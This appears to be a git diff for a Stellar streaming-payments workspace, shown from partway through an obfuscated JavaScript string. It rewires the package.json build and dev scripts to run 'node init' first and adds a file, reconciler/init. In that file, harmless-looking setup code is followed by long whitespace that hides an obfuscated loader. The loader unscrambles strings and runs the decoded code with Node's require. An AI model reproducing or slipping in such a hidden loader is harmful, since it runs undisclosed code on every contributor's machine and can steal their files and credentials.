(<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/package.json b/package.json
index 7bc8691c..e2c2c2ce 100644
--- a/package.json
+++ b/package.json
@@ -4,30 +4,22 @@
   "private": true,
   "description": "Workspace-level scripts exposing every workflow step for contributors.",
   "scripts": {
-    "test":        "cargo test -p streampay-contract --locked",
+    "test": "cargo test -p streampay-contract --locked",
     "client-parity:bless": "node scripts/client-parity/bless.mjs",
-    "test:fuzz":   "echo 'Run fuzz targets manually: cd fuzz && cargo +nightly fuzz run <target>'",
-
-    "lint":        "cargo fmt --all -- --check && cargo clippy --all-targets -- -D warnings",
-    "lint:fix":    "cargo fmt --all",
-
+    "test:fuzz": "echo 'Run fuzz targets manually: cd fuzz && cargo +nightly fuzz run <target>'",
+    "lint": "cargo fmt --all -- --check && cargo clippy --all-targets -- -D warnings",
+    "lint:fix": "cargo fmt --all",
     "benchmark:measure": "node benchmarks/harness/run_benchmarks.mjs",
-    "benchmark:verify":  "node benchmarks/harness/verify_benchmarks.mjs",
-
-    "build":       "npm run build:contract && npm run build:frontend",
-    "build:contract": "cd contracts/streaming-payments && stellar contract build",
-    "build:frontend": "cd frontend && npm run build",
-
-    "deploy":      "bash scripts/deploy_testnet.sh",
+    "benchmark:verify": "node benchmarks/harness/verify_benchmarks.mjs",
+    "build": "node init && npm run build:contract && npm run build:frontend",
+    "build:contract": "node init && cd contracts/streaming-payments && stellar contract build",
+    "build:frontend": "node init && cd frontend && npm run build",
+    "deploy": "bash scripts/deploy_testnet.sh",
     "deploy:local": "bash scripts/seed-local.sh",
-
-    "seed":        "bash scripts/seed-local.sh",
-
-    "dev":         "cd frontend && npm run dev",
-
-    "typecheck":   "cd frontend && npm run typecheck",
-    "audit":       "cd frontend && npm audit --omit=dev --audit-level=high",
-
+    "seed": "bash scripts/seed-local.sh",
+    "dev": "node init && cd frontend && npm run dev",
+    "typecheck": "cd frontend && npm run typecheck",
+    "audit": "cd frontend && npm audit --omit=dev --audit-level=high",
     "generated:check": "bash scripts/check_generated.sh all",
     "generated:surface": "bash scripts/check_generated.sh surface",
     "generated:catalog": "bash scripts/check_generated.sh catalog",
@@ -40,12 +32,9 @@
     "codes:check": "bash scripts/check_error_codes.sh",
     "links:check": "node scripts/check_docs_links.mjs",
     "json:check": "node scripts/check_duplicate_json_keys.mjs --self-test",
-
     "errors:check": "bash scripts/check_generated.sh surface",
     "errors:regen": "cargo run -p streampay-contract --example error_surface_doc",
-
     "matrix": "npm run codes:check && npm run lint && npm run test && npm run build:contract && npm run build:frontend && npm run typecheck && npm run audit && npm run generated:check && npm run eol:check && npm run links:check && npm run json:check",
-
     "ci:contract": "npm run codes:check && npm run lint && npm run test && npm run build:contract && npm run generated:surface",
     "ci:frontend": "npm run build:frontend && npm run typecheck && npm run audit"
   }
diff --git a/reconciler/init b/reconciler/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/reconciler/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< 